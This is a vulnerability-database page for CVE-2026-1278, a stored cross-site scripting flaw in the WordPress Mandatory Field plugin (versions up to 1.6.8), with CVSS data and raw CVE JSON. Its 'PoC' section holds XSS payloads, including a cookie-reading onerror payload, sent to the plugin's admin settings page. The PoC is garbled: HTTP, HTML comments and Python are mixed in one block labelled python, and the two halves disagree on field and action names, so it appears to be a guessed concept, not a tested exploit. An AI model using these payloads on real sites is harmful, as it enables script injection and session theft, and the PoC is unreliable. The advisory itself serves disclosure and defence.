Security Vulnerability Report
中文
CVE-2026-1278 CVSS 4.4 MEDIUM

CVE-2026-1278

Published: 2026-03-21 04:16:52
Last Modified: 2026-04-22 21:32:08

Description

The Mandatory Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Mandatory Field Plugin <= 1.6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC Concept: Injecting script via plugin settings --> <!-- Target: WordPress Mandatory Field Plugin Settings --> POST /wp-admin/admin.php?page=mandatory-plugin-settings HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [Admin Cookies] action=save_settings&mandatory_field_input=<script>alert('CVE-2026-1278');</script> <!-- Python Request Example --> import requests url = 'http://target.com/wp-admin/admin.php?page=mandatory-plugin-settings' cookies = {'wordpress_logged_in': '...'} data = { 'action': 'update', 'plugin_option': '<img src=x onerror=alert(document.cookie)>' } response = requests.post(url, cookies=cookies, data=data) print(f"Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1278", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:52.437", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mandatory Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Mandatory Field para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administrador en todas las versiones hasta la 1.6.8, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con permisos de nivel de administrador y superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://downloads.wordpress.org/plugin/mandatory-fields.1.6.8.zip", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mandatory-fields/tags/1.6.8/mandatory-plugin-option-page.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mandatory-fields/trunk/mandatory-plugin-option-page.php#L14", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/mandatory-fields/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e262ec15-420a-4f52-90e0-e4a2e28402a1?source=cve", "source": "[email protected]"}]}}